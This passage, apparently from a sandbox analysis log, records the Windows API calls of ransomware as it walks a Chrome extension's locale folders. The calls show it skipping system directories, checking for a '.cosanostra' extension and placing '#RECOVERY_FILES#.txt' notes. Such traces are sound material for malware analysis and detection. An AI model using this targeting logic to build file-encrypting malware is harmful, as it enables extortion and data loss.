(lpString="Program Files") returned 13 [0087.380] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.380] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.380] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.380] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.380] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.380] lstrlenW (lpString="System Volume Information") returned 25 [0087.380] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json") returned 165 [0087.380] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.380] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.380] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.380] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json") returned 165 [0087.380] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\#RECOVERY_FILES#.txt") returned 172 [0087.380] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\#RECOVERY_FILES#.txt") returned 172 [0087.381] lstrcmpiW (lpString1="fr", lpString2="Windows") returned -1 [0087.381] lstrlenW (lpString="Windows") returned 7 [0087.381] lstrcmpiW (lpString1="fr", lpString2="Program Files") returned -1 [0087.381] lstrlenW (lpString="Program Files") returned 13 [0087.381] lstrcmpiW (lpString1="fr", lpString2="Program Files (x86)") returned -1 [0087.381] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.381] lstrcmpiW (lpString1="fr", lpString2="$Recycle.bin") returned 1 [0087.381] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.381] lstrcmpiW (lpString1="fr", lpString2="System Volume Information") returned -1 [0087.381] lstrlenW (lpString="System Volume Information") returned 25 [0087.381] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr") returned 150 [0087.381] lstrcmpW (lpString1="fr", lpString2=".") returned 1 [0087.381] lstrcmpW (lpString1="fr", lpString2="..") returned 1 [0087.381] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*") returned 152 [0087.381] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.382] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.382] lstrlenW (lpString="Windows") returned 7 [0087.382] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.382] lstrlenW (lpString="Program Files") returned 13 [0087.382] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.382] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.382] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.382] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.382] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.382] lstrlenW (lpString="System Volume Information") returned 25 [0087.382] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\.") returned 152 [0087.382] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.382] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.382] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.382] lstrlenW (lpString="Windows") returned 7 [0087.382] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.382] lstrlenW (lpString="Program Files") returned 13 [0087.382] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.382] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.382] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.382] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.382] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.382] lstrlenW (lpString="System Volume Information") returned 25 [0087.382] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\..") returned 153 [0087.382] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.382] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.382] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.382] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.382] lstrlenW (lpString="Windows") returned 7 [0087.382] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.382] lstrlenW (lpString="Program Files") returned 13 [0087.382] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.382] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.382] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.382] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.382] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.382] lstrlenW (lpString="System Volume Information") returned 25 [0087.382] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json") returned 164 [0087.382] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.382] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.382] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.382] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json") returned 164 [0087.382] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\#RECOVERY_FILES#.txt") returned 171 [0087.382] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\#RECOVERY_FILES#.txt") returned 171 [0087.383] lstrcmpiW (lpString1="gu", lpString2="Windows") returned -1 [0087.383] lstrlenW (lpString="Windows") returned 7 [0087.383] lstrcmpiW (lpString1="gu", lpString2="Program Files") returned -1 [0087.383] lstrlenW (lpString="Program Files") returned 13 [0087.383] lstrcmpiW (lpString1="gu", lpString2="Program Files (x86)") returned -1 [0087.383] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.383] lstrcmpiW (lpString1="gu", lpString2="$Recycle.bin") returned 1 [0087.383] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.383] lstrcmpiW (lpString1="gu", lpString2="System Volume Information") returned -1 [0087.383] lstrlenW (lpString="System Volume Information") returned 25 [0087.383] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu") returned 150 [0087.383] lstrcmpW (lpString1="gu", lpString2=".") returned 1 [0087.383] lstrcmpW (lpString1="gu", lpString2="..") returned 1 [0087.383] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*") returned 152 [0087.383] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.384] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.384] lstrlenW (lpString="Windows") returned 7 [0087.384] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.384] lstrlenW (lpString="Program Files") returned 13 [0087.384] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.384] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.384] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.384] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.384] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.384] lstrlenW (lpString="System Volume Information") returned 25 [0087.384] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\.") returned 152 [0087.384] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.384] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.384] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.384] lstrlenW (lpString="Windows") returned 7 [0087.384] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.384] lstrlenW (lpString="Program Files") returned 13 [0087.384] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.384] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.384] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.384] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.392] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.392] lstrlenW (lpString="System Volume Information") returned 25 [0087.392] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\..") returned 153 [0087.392] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.392] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.392] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.392] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.392] lstrlenW (lpString="Windows") returned 7 [0087.392] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.393] lstrlenW (lpString="Program Files") returned 13 [0087.393] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.393] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.393] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.393] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.393] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.393] lstrlenW (lpString="System Volume Information") returned 25 [0087.393] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json") returned 164 [0087.393] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.393] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.393] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.393] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json") returned 164 [0087.393] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\#RECOVERY_FILES#.txt") returned 171 [0087.393] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\#RECOVERY_FILES#.txt") returned 171 [0087.394] lstrcmpiW (lpString1="hi", lpString2="Windows") returned -1 [0087.394] lstrlenW (lpString="Windows") returned 7 [0087.394] lstrcmpiW (lpString1="hi", lpString2="Program Files") returned -1 [0087.394] lstrlenW (lpString="Program Files") returned 13 [0087.394] lstrcmpiW (lpString1="hi", lpString2="Program Files (x86)") returned -1 [0087.394] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.394] lstrcmpiW (lpString1="hi", lpString2="$Recycle.bin") returned 1 [0087.394] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.394] lstrcmpiW (lpString1="hi", lpString2="System Volume Information") returned -1 [0087.394] lstrlenW (lpString="System Volume Information") returned 25 [0087.394] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi") returned 150 [0087.394] lstrcmpW (lpString1="hi", lpString2=".") returned 1 [0087.394] lstrcmpW (lpString1="hi", lpString2="..") returned 1 [0087.394] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*") returned 152 [0087.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.406] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.406] lstrlenW (lpString="Windows") returned 7 [0087.406] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.406] lstrlenW (lpString="Program Files") returned 13 [0087.406] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.410] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.410] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.410] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.410] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.410] lstrlenW (lpString="System Volume Information") returned 25 [0087.410] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\.") returned 152 [0087.410] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.410] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.410] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.410] lstrlenW (lpString="Windows") returned 7 [0087.410] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.410] lstrlenW (lpString="Program Files") returned 13 [0087.410] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.411] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.411] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.411] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.411] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.411] lstrlenW (lpString="System Volume Information") returned 25 [0087.411] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\..") returned 153 [0087.411] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.411] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.411] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.411] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.411] lstrlenW (lpString="Windows") returned 7 [0087.411] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.411] lstrlenW (lpString="Program Files") returned 13 [0087.411] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.411] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.411] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.411] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.416] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.416] lstrlenW (lpString="System Volume Information") returned 25 [0087.416] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json") returned 164 [0087.416] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.416] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.416] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.416] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json") returned 164 [0087.416] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\#RECOVERY_FILES#.txt") returned 171 [0087.416] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\#RECOVERY_FILES#.txt") returned 171 [0087.416] lstrcmpiW (lpString1="hr", lpString2="Windows") returned -1 [0087.416] lstrlenW (lpString="Windows") returned 7 [0087.416] lstrcmpiW (lpString1="hr", lpString2="Program Files") returned -1 [0087.416] lstrlenW (lpString="Program Files") returned 13 [0087.416] lstrcmpiW (lpString1="hr", lpString2="Program Files (x86)") returned -1 [0087.416] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.416] lstrcmpiW (lpString1="hr", lpString2="$Recycle.bin") returned 1 [0087.416] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.416] lstrcmpiW (lpString1="hr", lpString2="System Volume Information") returned -1 [0087.416] lstrlenW (lpString="System Volume Information") returned 25 [0087.416] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr") returned 150 [0087.416] lstrcmpW (lpString1="hr", lpString2=".") returned 1 [0087.416] lstrcmpW (lpString1="hr", lpString2="..") returned 1 [0087.416] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*") returned 152 [0087.416] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.417] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.417] lstrlenW (lpString="Windows") returned 7 [0087.417] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.417] lstrlenW (lpString="Program Files") returned 13 [0087.417] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.417] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.417] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.417] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.417] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.417] lstrlenW (lpString="System Volume Information") returned 25 [0087.417] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\.") returned 152 [0087.417] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.417] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.417] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.417] lstrlenW (lpString="Windows") returned 7 [0087.417] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.417] lstrlenW (lpString="Program Files") returned 13 [0087.417] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.417] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.417] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.417] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.417] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.417] lstrlenW (lpString="System Volume Information") returned 25 [0087.417] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\..") returned 153 [0087.417] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.417] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.417] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.417] lstrcmpiW (lpString1="messages.json", lpString2="Windows") returned -1 [0087.417] lstrlenW (lpString="Windows") returned 7 [0087.417] lstrcmpiW (lpString1="messages.json", lpString2="Program Files") returned -1 [0087.417] lstrlenW (lpString="Program Files") returned 13 [0087.417] lstrcmpiW (lpString1="messages.json", lpString2="Program Files (x86)") returned -1 [0087.417] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.417] lstrcmpiW (lpString1="messages.json", lpString2="$Recycle.bin") returned 1 [0087.417] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.417] lstrcmpiW (lpString1="messages.json", lpString2="System Volume Information") returned -1 [0087.417] lstrlenW (lpString="System Volume Information") returned 25 [0087.417] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json") returned 164 [0087.418] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.418] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.418] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.418] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json") returned 164 [0087.418] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\#RECOVERY_FILES#.txt") returned 171 [0087.418] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\#RECOVERY_FILES#.txt") returned 171 [0087.418] lstrcmpiW (lpString1="hu", lpString2="Windows") returned -1 [0087.418] lstrlenW (lpString="Windows") returned 7 [0087.418] lstrcmpiW (lpString1="hu", lpString2="Program Files") returned -1 [0087.418] lstrlenW (lpString="Program Files") returned 13 [0087.418] lstrcmpiW (lpString1="hu", lpString2="Program Files (x86)") returned -1 [0087.418] lstrlenW (lpString="Program Files (x86)") returned 